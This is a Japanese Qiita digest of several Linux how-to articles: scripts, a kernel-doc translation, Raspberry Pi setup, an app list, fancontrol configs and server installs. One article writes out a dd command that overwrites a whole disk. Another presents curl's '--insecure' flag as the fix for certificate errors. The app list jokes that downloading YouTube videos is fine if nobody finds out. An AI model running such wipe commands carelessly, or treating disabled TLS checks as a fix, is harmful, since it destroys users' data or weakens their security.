20200430のLinuxに関する記事は18件です。

MarkdownファイルをJupyterLab形式からQiita形式へ変換するLinuxスクリプト

概要

JupyterLab形式の数式コード$$ $$```math仕様に変換する

スクリプト

run.sh
filename=${1-'code.md'}

# search $$
nl -ba $filename | grep "\$\\$" > TMP

# num of iteration
nrow=(`wc TMP    | awk '{print $1}'`)

# get row number
array=($(cat TMP | awk '{print $1}'))

for i in `seq 1 ${nrow}`
do

  echo ${array[$((i-1))]}

  if [ $(( ${i} % 2 )) == 1 ]
  then sed -ie "${array[$((i-1))]} s/\$\\$/\`\`\`math/g" $filename
  else sed -ie "${array[$((i-1))]} s/\$\\$/\`\`\`/g"     $filename
  fi

done

rm TMP

使用例

./run.sh code.md
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

curl: (60) Issuer certificate is invalid.となった時の対応方法

  • 環境
    • Red Hat Enterprise Linux Server release 7.7 (Maipo)
    • curl 7.29.0 (x86_64-redhat-linux-gnu)

事象 : httpsをcurlしたら怒られた

$ curl https://localhost
curl: (60) Issuer certificate is invalid.
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a "bundle"
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

原因 : SSLで証明書の検証に問題があるから

If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).
()このHTTPSサーバーが、バンドルに示されているCAによって署名された証明書を使用する場合、証明書の問題(有効期限が切れているか、名前がURLのドメイン名と一致していない可能性)が原因で証明書の検証に失敗した可能性があります。

対応 : -k--insecureオプションで証明書の検証をしない

If you'd like to turn off curl's verification of the certificate, use the -k (or --insecure) option.
()curlによる証明書の検証をオフにしたい場合は、-k (または--insecure)オプションを使用します。
ちゃんとURL先が見えた
$ curl --insecure https://localhost
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
...省略...
</body></html>

ほかの対応 : 証明書を用意する

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ハードディスクのデータを完全に消去する

はじめに

ハードディスクの廃棄などで完全なデータのフォーマットが必要になったとき、ファイルを削除するだけでは、リカバリソフトを使うことで盗み取られてしまう可能性があります。完全なデータの削除をddコマンドを使用して実施します。

ディスク情報を確認する

デバイスは/dev/sdXとします。

$ sudo fdisk -l /dev/sdX
ディスク /dev/sdX: 1.8 TiB, 2000398934016 バイト, 3907029168 セクタ
単位: セクタ (1 * 512 = 512 バイト)
セクタサイズ (論理 / 物理): 512 バイト / 4096 バイト
I/O サイズ (最小 / 推奨): 4096 バイト / 4096 バイト

物理セクタサイズは、4096バイトのようです。
全物理セクタ数は、2000398934016 /4096=488378646セクタです。

ディスク全体を削除する

乱数を書き込みます。
容量が大きいと時間がかかりますので、PCのリソースに余裕があるときに実行します。

$ sudo dd if=/dev/urandom of=/dev/sdX bs=4096 count=488378646 seek=0 status=progress

参考サイト

https://wiki.archlinux.jp/index.php/ディスクの完全消去

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

High Memory Handling

もともと、Linux Kernelのソースコードの一部なので、GPLv2扱いになる(はずの認識)。

https://www.kernel.org/doc/html/latest/index.html

Licensing documentation

The following describes the license of the Linux kernel source code (GPLv2), how to properly mark the license of individual files in the source tree, as well as links to the full license text.

https://www.kernel.org/doc/html/latest/process/license-rules.html#kernel-licensing

https://www.kernel.org/doc/html/latest/vm/highmem.html

High Memory Handling
By: Peter Zijlstra a.p.zijlstra@chello.nl

What Is High Memory?

High memory (highmem) is used when the size of physical memory approaches or exceeds the maximum size of virtual memory.

High memory (highmem)は、物理メモリのサイズが仮想メモリの最大サイズに近づくか、あまた超えるときに使用されます。

At that point it becomes impossible for the kernel to keep all of the available physical memory mapped at all times.

その時点で、カーネルが使用可能なすべての物理メモリを、常時マップした状態を保つことはできなくなります。

This means the kernel needs to start using temporary mappings of the pieces of physical memory that it wants to access.

これは、カーネルがアクセスしようとする物理メモリの一部を、一時的にマッピングしはじめる必要があることを意味します。

.

The part of (physical) memory not covered by a permanent mapping is what we refer to as ‘highmem’.

永続的なマッピングだけではカバーされない(物理)メモリの部分は、highmemと称されます。。

There are various architecture dependent constraints on where exactly that border lies.

境界がどこに位置するのかについては、アーキテクチャ依存に関する様々な制約があります。

.

In the i386 arch, for example, we choose to map the kernel into every process’s VM space so that we don’t have to pay the full TLB invalidation costs for kernel entry/exit.

例えば、i386アーキの場合、kernelをすべてのプロセスの仮想マシン空間にマップすることを選択する。我々はkernel entry/exitのために、full TLB 無効化コストを支払う事が不要となる。

This means the available virtual memory space (4GiB on i386) has to be divided between user and kernel space.

つまり、利用可能な仮想メモリ空間(i386では4GiB)が、ユーザーとカーネル空間の間で分割されることを意味します。

.

The traditional split for architectures using this approach is 3:1, 3GiB for userspace and the top 1GiB for kernel space:

このアプローチを採用したアーキテクチャの従来からの分割方法は、3:1です、3GiBはユーザー空間に、top 1GiBはカーネル空間に割り当てます。

.

+--------+ 0xffffffff
| Kernel |
+--------+ 0xc0000000
|        |
| User   |
|        |
+--------+ 0x00000000

This means that the kernel can at most map 1GiB of physical memory at any one time, but because we need virtual address space for other things - including temporary maps to access the rest of the physical memory - the actual direct map will typically be less (usually around ~896MiB).

これは、カーネルが一度に最大で1GiBの物理メモリをマップできることを意味します。物理メモリの残りの部分にアクセスするための一時的なマップなど、他のもののために仮想アドレス空間が必要なため、実際の直接マップは通常はそれ以下になります(通常は約896MiB)。

.

Other architectures that have mm context tagged TLBs can have separate kernel and user maps. Some hardware (like some ARMs), however, have limited virtual space when they use mm context tags.

mm context tagged TLBsを有する他のアーキテクチャでは、分割されたカーネルとユーザーマップを持つことができます。ただし、一部のハードウェア(例えば、ARMの一部)では、mm context tagsを用いると仮想空間に制限が発生します。

Temporary Virtual Mappings

The kernel contains several ways of creating temporary mappings:

kernelは一時的なマッピングを生成するためのいくつかの方法を有します。

.

  • vmap(). This can be used to make a long duration mapping of multiple physical pages into a contiguous virtual space. It needs global synchronization to unmap.
  • vmap(). これは連続した仮想空間に複数の物理ページを長い期間にわかって作る事ができる。これは、unmapするためには、global synchronizationが必要になる。
  • kmap(). This permits a short duration mapping of a single page. It needs global synchronization, but is amortized somewhat. It is also prone to deadlocks when using in a nested fashion, and so it is not recommended for new code.
  • kmap().これは単一ページに対する短い期間のマッピングを実行する。global synchronizationが必要が必要になるが、いくらかコストは軽減されている。入れ子にして利用するとデッドロックが発生することがあるので、新しいコードには推奨できない。
  • kmap_atomic(). This permits a very short duration mapping of a single page. Since the mapping is restricted to the CPU that issued it, it performs well, but the issuing task is therefore required to stay on that CPU until it has finished, lest some other task displace its mappings. . kmap_atomic() may also be used by interrupt contexts, since it is does not sleep and the caller may not sleep until after kunmap_atomic() is called. . It may be assumed that k[un]map_atomic() won’t fail.
  • kmap_atomic(). これにより単一ページを非常に短い期間マッピングすることができます。魔ピングはそれを実行したCPUに制限されるため、他のタスクがそのマッピングを置き換えないように、完了するまでそのCPUで処理を続けなければなりません。 . kmap_atomic()はまた割り込みコンテクストの中で利用することができます。それはsleepされず、また、呼び出し元はkunmap_atomic()を呼び出すまでスリープしません。 . k[un]map_atomic()は失敗しないと想定する必要があります。

Using kmap_atomic

When and where to use kmap_atomic() is straightforward.

kmap_atomic()をいつ、どこで使えばよいのか、ということは明快です。

It is used when code wants to access the contents of a page that might be allocated from high memory (see __GFP_HIGHMEM), for example a page in the pagecache.

これはコードがページキャッシュ内のページのように、high memory(__GFP_HIGHMEM)で確保されるページなどにアクセスする場合に利用されます。

The API has two functions, and they can be used in a manner similar to the following

APIは2つの関数があり、それぞれ利用方法は下記のような方法となります。

.

/* Find the page of interest. */
struct page *page = find_get_page(mapping, offset);

/* Gain access to the contents of that page. */
void *vaddr = kmap_atomic(page);

/* Do something to the contents of that page. */
memset(vaddr, 0, PAGE_SIZE);

/* Unmap that page. */
kunmap_atomic(vaddr);

Note that the kunmap_atomic() call takes the result of the kmap_atomic() call not the argument.

kummap_atomic()がkmap_atomic()が呼び出された結果如何に関わらず、呼び出さることを気を付けてください。

If you need to map two pages because you want to copy from one page to another you need to keep the kmap_atomic calls strictly nested, like:

もしあなたが2つのページをマッピングすることで、あるページから別のページにコピーしたい場合には、厳密な入れ子構造をもってkmap_atomic()を呼び出す必要があります。例えば、

vaddr1 = kmap_atomic(page1);
vaddr2 = kmap_atomic(page2);

memcpy(vaddr1, vaddr2, PAGE_SIZE);

kunmap_atomic(vaddr2);
kunmap_atomic(vaddr1);

Cost of Temporary Mappings

The cost of creating temporary mappings can be quite high.

一時的なマッピング生成するコストは非常に高くなる可能性があります。

The arch has to manipulate the kernel’s page tables, the data TLB and/or the MMU’s registers.

アーキテクチャはカーネルのページテーブル、data TLB また/そして、MMU registerを操作する必要があります。

.

If CONFIG_HIGHMEM is not set, then the kernel will try and create a mapping simply with a bit of arithmetic that will convert the page struct address into a pointer to the page contents rather than juggling mappings about. In such a case, the unmap operation may be a null operation.

CONFIG_HIGHMEMが設定されていない場合、カーネルは、ページ構造体のアドレスを、マッピングをジャグリングする代わりに、ページの内容へのポインターに変換する少しの算術演算でマッピングを作成しようとします。 このような場合、マップ解除操作はnull操作になる可能性があります。

.

If CONFIG_MMU is not set, then there can be no temporary mappings and no highmem. In such a case, the arithmetic approach will also be used.

CONFIG_MMUが設定されていない場合、一時的なマッピングやhighmemが存在しない可能性があります。 そのような場合でも、算術アプローチが利用されます。

.

i386 PAE

The i386 arch, under some circumstances, will permit you to stick up to 64GiB of RAM into your 32-bit machine. This has a number of consequences:

状況に基づき、i386アーキテーク茶でも、32ビットマシンに最大64GiBのRAMを取り付けることができます。 これには多くの影響があります。

  • Linux needs a page-frame structure for each page in the system and the pageframes need to live in the permanent mapping, which means:
  • Linuxは、システムに含まれるそれぞれのページでpage-drame構造を要求し、pageframesはそれが意味する永続的なマッピングの中で有効である。つまり、
  • you can have 896M/sizeof(struct page) page-frames at most; with struct page being 32-bytes that would end up being something in the order of 112G worth of pages; the kernel, however, needs to store more than just page-frames in that memory…
  • (i386では) 最大で896M/sizeof(struct page)のページフレームを持つことができます。struct pageは32バイトであり、112G相当のページになるでしょう。 ただし、カーネルは当該メモリにページフレーム以上のものを格納する必要があります…
  • PAE makes your page tables larger - which slows the system down as more data has to be accessed to traverse in TLB fills and the like. One advantage is that PAE has more PTE bits and can provide advanced features like NX and PAT.
  • PAEはpage tablesをより大きくするでしょう。つまり、TLB fillsなどでトラバースするため、より多くのデータに対してアクセスする必要があり、システムが遅くなります。1つの利点は、PAEによってよりPTE bitを大きくできることで、NXやPATのような新たな特徴を提供できます。

The general recommendation is that you don’t use more than 8GiB on a 32-bit machine - although more might work for you and your workload, you’re pretty much on your own - don’t expect kernel developers to really care much if things come apart.

一般的な推奨としては、32bit machineでは8GiBを越えて利用しないことです。これは、ユーザーとユーザー負荷に効果があるかもしれません。しかし、それはあなた自身でやってください。何か問題が起きたとしても、カーネル開発者が気にすることを本当に期待しないでください。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

RaspberryPi3B+にUbuntu 20.04 LTS (Server)の64bit版をインストール

Ubuntu(RapsberrPi版) のダウンロード

RaspberryPiのサイトではなく、以下からOSを入手します。

Install Ubuntu Server on a Raspberry Pi 2, 3 or 4 | Ubuntu
https://ubuntu.com/download/raspberry-pi

Raspberry Piは3か4でないと、Zoomの動作が厳しいです。
Ubuntu 20.04 LTS (Server)の64bit版をダウンロードしてください。
スクリーンショット 2020-04-30 12.09.00.png

【PC】RaspberryPiのOSインストール

今回は Raspbian Buster with desktop and recommended software をインストールしました。(詳細手順は省略)

# SDを必ず確認すること
taguchi@MasamacAir ~ % diskutil list
/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                 Apple_APFS Container disk1         301.0 GB   disk0s2
   3:       Microsoft Basic Data BOOTCAMP                199.1 GB   disk0s3

/dev/disk1 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      APFS Container Scheme -                      +301.0 GB   disk1
                                 Physical Store disk0s2
   1:                APFS Volume Mac - Data              230.4 GB   disk1s1
   2:                APFS Volume Preboot                 83.4 MB    disk1s2
   3:                APFS Volume Recovery                528.1 MB   disk1s3
   4:                APFS Volume VM                      2.1 GB     disk1s4
   5:                APFS Volume Mac                     11.2 GB    disk1s5

/dev/disk2 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     FDisk_partition_scheme                        *15.7 GB    disk2
   1:             Windows_FAT_32 NO NAME                 15.7 GB    disk2s1

# /dev/disk2がSDだった例
taguchi@MasamacAir ~ % diskutil unMountDisk /dev/disk2
Unmount of all volumes on disk2 was successful
taguchi@MasamacAir ~ % cd ~/Downloads 
taguchi@MasamacAir Downloads % sudo dd if=ubuntu-20.04-preinstalled-server-arm64+raspi.img of=/dev/rdisk2 bs=1m

RaspberryPiの起動

更新やインストールで3G強のダウンロードができるネットワーク環境が必要です
送付先でモバイルルータ等を使う方も、設定作業では有線LAN/WiFiなど制限が無いネットワークを利用して下さい。

SDカードをRaspberyPiに挿入し、電源ケーブルを接続します

初回ログイン

起動後、ubuntu login: と表示されますので、デフォルトのユーザID ubuntu でログインします

ubuntu login:ubuntu
Password:ubuntu
Current password:ubuntu
New password:<新しいパスワードを入力>
Retype new password:<新しいパスワードを再入力>

IMG_4610.JPG

Ubuntuの更新

入力コマンド
sudo apt update
sudo apt upgrade

Ubuntu Mate(ディスクトップ環境)のインストール

インストール後はコンソール画面で文字表示しかできません、ディスクトップ(GUI)環境を表示するため Ubuntu Mate をインストールします。
3G程度のダウンロードが必要になります、ネットワークの状況により大きく変わりますが、1時間〜1晩程度かかります。
気長に待って下さい。

入力コマンド
sudo apt install ubuntu-mate-desktop

途中でディスプレイ・マネージャをどちらにするか聞かれます。
下のlightdmを選択しOKしてください。
キー入力としては 矢印下キー > tabキー(OKへ移動) > (下の画像の状態を確認し)enterキー です。
IMG_4611.JPG

インストールが完了したら、再起動します。

入力コマンド
sudo reboot

Ubuntu Mateのログイン

Ubuntu Mateのログイン画面が表示されます
インストール後はユーザ ubuntu しか設定されていませんので、そのままパスワードを入力してログインしてください
IMG_4612.JPG

ターミナル MATE Terminal の起動方法

作業はターミナルアプリケーション、 MATE Terminal で行います。

ログイン後の画面で左上の「 Activities 」をクリックします
IMG_4613.JPG

画面左下の 「 Show Applications 」をクリックします
IMG_4615.JPG

画面右端、上から2つ目の「 ・ 」をクリックします
IMG_4617.JPG

MATE Terminalをダブルクリックして起動します
IMG_4618.JPG

画面にMATE Terminalが表示されます
IMG_4619.JPG

Ubuntuの更新

MATE Terminalで作業を行います。(以降省略)

入力コマンド
sudo apt update
sudo apt upgrade
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

自分がLinuxに必ず入れるアプリ

この記事について

この記事では、私がLinuxにほぼ必ず入れているもの、無いと死んでしまうものをまとめました。
「もっと良いツールあるぞ!」「何に使うんだよそれ!」と思うものもあるかもしれませんが、必要なものは個人それぞれ異なりますので、スクロールして面白そうな所だけ読んでもらう形で結構です。

並べて書いてあるコマンドは、LinuxMint上でAPTを利用してのインストールを想定したものです。

※ デスクトップ環境やハードの相性等によっては、手動でリポジトリを追加する必要が出てくることがありますが、インストールの問題に関しては基本的にはここでは扱いません。

GUI アプリ

Linuxユーザとは言っても、GUIにはある程度頼ります。
デスクトップ環境抜きのオールCUIの超人ではないので・・・。

マルチメディア関係

VLCメディアプレイヤー

sudo apt install vlc

対応コーデックが非常に多彩な再生ソフト。
これ一本入れておけば、メディア再生に困ることはほとんど無い。
DVDの再生なんかにも使用。
メディア変換機能もあり。(いつも後述のffmpegを使うが・・・。)

Audacious

sudo apt install audacious

バックグラウンドで使うには個人的にベストな音楽プレイヤー。
シンプルなUIでプレイリスト機能が使いやすく、軽量で起動高速。
ウィンドウで目立つのはプレイリストと再生バーくらい。
ストリームの再生だとか、最近再生したものリストとかが不要に感じているならば、Rhythmboxよりもおすすめ。

YouTube to MP3

# 事前にパッケージをダウンロード、もしくは手動でのリポジトリの追加からも可能な様子
# RPM パッケージは配布されていない様子
sudo apt install ./YouTubeToMP3.amd64.deb

https://www.mediahuman.com/youtube-to-mp3-converter/

名前の通り、YouTubeの動画を音声ファイルで保存してくれるソフト。
YouTubeプレイリストからの一括ダウンロードもできる点で愛用。
また、プレイリストの内容を定期的に確認し、追加された動画を自動でダウンロードしてくれる機能もあり。
私はNCSの曲をダウンロードしている。
(YouTubeの動画を無断でダウンロードしても良いのかは正直グレーと思う。再配布とかをしなければバレないけど・・・。)
???「バレなきゃ犯罪じゃねぇんだよ!」

SimpleScreenRecorder

sudo apt install simplescreenrecorder

デスクトップ録画ソフト。
デスクトップのキャプチャはOBSでも可能ではあるが、こちらの方が小回りが効いて好み。

画像処理関係

Inkscape

sudo apt install inkscape

ベクター編集ソフト。
ちょっと余分な線なんかを消したりするのにも使用。
「最適化SVG出力」も結構気に入り。

GIMP

sudo apt install gimp

デフォルトで入っていることもあるラスター画像編集ソフト。
画像のトリミングや透過といった編集に使用。
Linuxを本格的に触れる以前は、よくWindowsPaintを使っていた。
WindowsPaintなど、今ではスクショ保存専用ソフト同然に。

Dia

sudo apt install dia

記事書き等に使う図の作成に使用。
svg出力が可能な点、マス目に沿って図形を書ける点で愛用。
PowerPointを使って一生懸命図を書いていたあの頃が懐かしい。

システム関係

GParted

sudo apt install gparted

ディスクパーティション管理ソフト。
LinuxMintにデフォルトで入っている「ディスク」というドライブ管理ソフトではできない操作を行う時に利用。

BleachBit

sudo apt install bleachbit

システムの一時ファイルやキャッシュなんかの削除をしてくれる。
たまに走らせると、数GB近く削減できることも。

Visual Studio Code

# 事前にパッケージをダウンロードしておく
# バージョンによってパッケージ名は異なるので注意
sudo apt install ./code_1.42.1-1581432938_amd64.deb

https://code.visualstudio.com/

Microsoft社がオープンソースで提供しているコードエディタ。
変数名や関数名、ファイル名等の入力補完が便利で愛用している。
Microsoft製品で唯一の愛用品。

gnome-games

sudo apt install gnome-games

オセロやマインスイーパー、ちょっとしたパズルゲームなんかが収録されている。
一休みしたい時なんかに。

KPatience

sudo apt install kpat

色々なソリティアが遊べる。
先程のgnome-gamesにもソリティアは含まれているが、こちらにはクロンダイク以外のソリティアも収録されており、個人的にはグラフィックもこちらのが好み。

Discord

# 事前にパッケージをダウンロードしておく
# バージョンによってパッケージ名は異なるので注意
sudo apt install ./discord-0.0.10.deb

https://discordapp.com/download

Discordのデスクトップアプリ。
ウィンドウを閉じても、デフォルトではバックグラウンドで動き続ける。
以前はSNAPで配信されたが、廃止?
LINEとは違い、Linux版があるのは嬉しい。

Slack

# 事前にパッケージをダウンロードしておく
# バージョンによってパッケージ名は異なるので注意
sudo apt install ./slack-desktop-4.2.0-amd64.deb

https://slack.com/intl/ja-jp/download

Slackのデスクトップアプリ。
こちらも、ウィンドウを閉じてもデフォルトではバックグラウンドで動き続ける。
LINEとh (ry

CUI アプリ

GUIが発達しても、CUIは未だ現役。
コマンドとオプションを覚えていれば、すぐに目的の動作を初められる点、シェルスクリプトで半自動化できる点なら、GUIに劣らない強さを持つ。

コンパイラ関係

gcc, g++

sudo apt install gcc g++

makeで利用されることもあるので入れておく。
普段、シェルスクリプトばっかりでC++はあまり書かない。

マルチメディア関係

ffmpeg

sudo apt install ffmpeg

動画ファイルや音声ファイルの変換を行えるソフト。
使い初めて間もない頃はコマンドのオプションに苦戦することもあるが、一度慣れてしまえば下手なGUIアプリよりも快適に利用できる。
(※ 感じ方には個人差があります。)
ffproveでメディアの情報を確認するのも利用する。

画像処理関係

gnuplot

sudo apt install gnuplot

グラフの作成、及び画像出力を行えるソフト。
数式のグラフを作るとき、表計算ソフトを立ち上げるのが面倒なときはこれ。
画像の出力形式も多彩なものに対応。
「ヌープロット」って言われたり「グヌープロット」って言われたり。

imagemagick

sudo apt install imagemagick

画像ファイルの変換や、回転、トリミング等の簡単な編集を行えるソフト。
PDF への出力を行うには、要設定ファイル編集。(記事執筆時点)

mozjpeg

※ ソースコードからのビルドが必要。インストール方法はここでは省略。

Mozilla社がオープンソースで公開しているJPEGエンコーダー。
いくつか存在するエンコーダーの中で、高い圧縮率を持つ。
基本的に利用するのはjpegtrancjpeg
jpegtranではJPEGのメタデータを取り除くことも可能。

zopfli

sudo apt install zopfli

Google社がオープンソースで公開しているPNGエンコーダー。
-mオプションをつけると、複数回エンコードを繰り返し、ファイルサイズの低下が少なくなるまで再エンコードしてくれる。
他にも圧縮率に関係するオプションはあるが、私は普段-mオプションしか利用しない。
また、1枚の画像のエンコードも数秒、長ければ数十秒かかることもある。

ExifTool

sudo apt install exiftool

様々なファイルのメタデータを確認できるソフト。
シェルスクリプトの自作に役立つことが多々あり、よくお世話になっている愛用ソフトの一つ。

Vim

sudo apt install vim

Linux初期から存在する老舗テキストエディタ。拡張機能も豊富。
多くのUnix/Linux環境ではほぼデフォルトで導入されていることが多い。
root権限が必要な設定ファイル編集なんかには、間違いなくこれ一択。
ちなみに私は狂人Vimmerではない。

fish

sudo apt install fish

# 利用可能なシェル、fishのファイルパスの確認
cat /etc/shells

# インストール後、fishをデフォルトのシェルとして動作させる
# PC再起動後に変更は適応される
# ※ 環境によってファイルパスが異なることもある
chsh /usr/bin/fish

Linuxのシェル。
LinuxMintではデフォルトでbashが動いているが、fishの方が好み。
プロンプトのカスタマイズがブラウザ上で行えるのも好みの理由の一つ。

自分に適した環境を構築するには

ブログなんかで色々なソフトの使い心地が書かれていたりしますが、ベストなのは自分で触れてみることです。
プリインストールのものでイマイチ満足しきれないと感じたときは、色々探ってみると良いかもしれません。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[fancontorl] reboot後にhwmonが変更されてエラーになる時

はじめに

こちらの記事に興味を持っていただいたということは、ファンの騒音に悩まされている、もしくは、うるさくはないけど無音に違い状態で作業を行いたいといった望みがあるのではないでしょうか。

当の私はLinuxの自作PC初挑戦でRyzenで躓いて、今回i7-3770の中古を購入して上手くいったようなので記事に残すこのにしました。

同じような問題で悩まれている方の助けに少しでもなれたら書いた甲斐があります。

解決方法

/etc/fancontolの設定をフルパスとWildcardで指定することでデバイスが見つからない問題を回避できます。

環境

  • デバイス名: nct6667
  • CPUファン: 1つ
  • ケースファン: 1つ

当方のファンともに停止しないものだったので、MINSTARTMINSTOPを0にしてあります。

デバイス名がどこにあるかわからない場合は、find ディレクトリ名 -name デバイス名で簡単に調べられるのでお試しください。

デバイスのlocationの探し方
find ディレクトリ名 -name デバイス名

設定

/etc/fancontol
# Configuration file generated by pwmconfig, changes will be lost

INTERVAL=10

FCTEMPS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input

FCFANS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm1=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm2=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan2_input

MINTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=35 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=35

MAXTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=60 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=60

MINSTART=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=150 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=150

MINSTOP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=0 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=0

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Fancontrol] Fancontrolの設定 完全版! これで駄目なら諦めなさい!

はじめに

こちらの記事に興味を持っていただいたということは、ファンの騒音に悩まされている、もしくは、うるさくはないけど無音に違い状態で作業を行いたいといった望みがあるのではないでしょうか。

当の私はLinuxの自作PC初挑戦でRyzenで躓いて、今回i7-3770の中古を購入して上手くいったようなので記事に残すこのにしました。

同じような問題で悩まれている方の助けに少しでもなれたら書いた甲斐があります。

解決方法

/etc/fancontolの設定をフルパスとWildcardで指定することでデバイスが見つからない問題を回避できます。

当方環境について

  • デバイス名: nct6667
  • CPUファン: 1つ
  • ケースファン: 1つ

  • pwm1=ケースファン

  • pwm2=CPUファン

当方の設定内容について

  • 当方のファンともに停止しないものだったので、MINSTOPを0にしてあります。
  • ケースファン : CPU温度45度以上になるまで50%rmpで回転を開始
  • CPUファン : CPU温度35度以上になるまで最低速度で回転、越えたら150rpmで回転を開始
  • 両ファンとも完全停止しないためMINSTOP0

注意
rpm値の設定はファンによって冷却性と騒音レベルが違うので、バランスをよく調整しながら決める。

  • 当方のケースファンはなかなかの轟音を放つためrpm値を小さ目(50rpm)に設定した。

小技
デバイス名がどこにあるかわからない場合は、find ディレクトリ名 -name デバイス名で簡単に調べられるのでお試しください。

デバイスのlocationの探し方
find ディレクトリ名 -name デバイス名

設定

/etc/fancontol
# Configuration file generated by pwmconfig, changes will be lost

INTERVAL=10

FCTEMPS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=/sys/devices/platform/coretemp.0/hwmon/hwmon[[:print:]]*/temp1_input

FCFANS=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm1=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan1_input /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/devices/pwm2=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/fan2_input

MINTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=35 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=35

MAXTEMP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=60 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=60

MINSTART=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=50 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=150

MINSTOP=/sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm1=0 /sys/devices/platform/nct6775.656/hwmon/hwmon[[:print:]]*/pwm2=0

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Node.jsを使ってサーバにアクセスログを出力してみた

はじめに

この記事はなんとなくJSなどを勉強している学生がメモ代わりに書いている記事です。内容は期待しないでください。

1.仮想環境を構築する。

今回はUbuntuで行うのでiTerm2で仮想環境を起動する。

起動したところで
1.Virtual Box(バーチャルボックス)
2.Vagrant(ベイグラント)
という2つのソフトウェアを使った仮想環境でUbuntuを使用します。
cd ~/vagrant/ubuntu
vagrant up
vagrant ssh

Ubuntuがインストールされたディレクトリに移動。vagrant upは仮想的なPCにインストールされたUbuntuを起動するコマンドで,vagrant sshはVagrantの仮想マシンがセットされている状態でSSHに接続します。

2.作成したサーバにログを表示する

以下の内容をhttp.createServerのアロー関数内に記述します。
console.info(
'[' + new Date() + '] Requested by ' + reqest.connection.remoteAddress
);

今回はreqestという変数にサーバへのリクエストを代入しています。今回はリクエストが送られたIP情報を出力します。console.infoというものを使用していますがinfoは以下のように分類されます。

関数名 内容 出力
info,log 普段から残す情報 標準出力
warn,error 警告 エラー標準出力

3.作成したサーバにエラーを出力する

on('error', (e) => {
console.error('[' + new Date() + '] Server Error', e);

以上のon関数をアロー関数後に記述します。

4.実際にサーバを起動してみる

node ファイル名

実際にサーバを起動してエラー等のコンソールが表示されれば成功です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

EMLauncher を CentOS 8 に導入する手順

EMLauncherをCentOS8に導入する手順

この手順書はCentOS8にKLabさんのAndroid/iOSのテストアプリ配信ツールのEMLauncherを導入する手順書となります。

※ この手順書を書く時に使ってるCentOSのバージョンは8.1.1911です。

参考サイト

EmLauncherの導入

※ 以下の処理はすべてrootユーザでログインして実行してください。

1. Firewall setup

  1. http(80)のポートを開放します。

    firewall-cmd --zone=public --add-port=80/tcp --permanent
    systemctl restart firewalld
    

2. Install required packages

  1. EPELリポジトリを追加します。

    dnf -y install epel-release
    
  2. Remiリポジトリを追加します。

    dnf -y install http://rpms.famillecollet.com/enterprise/remi-release-8.rpm
    
  3. PHP 7.4 インストールします。

    dnf -y module install php:remi-7.4
    
  4. その他パッケージをインストールします。

    dnf -y install httpd mariadb-server memcached php-gd php-mbstring php-xml php-pecl-imagick php-pecl-memcached php-pecl-zip php-pdo php-mysqlnd git
    
  5. Composerをインストールします。

    curl -sS https://getcomposer.org/installer | php
    mv composer.phar /usr/local/bin/composer`
    

3. Deploy codes

  1. GitHubからemlauncherをクローンします。

    cd /var/www/html
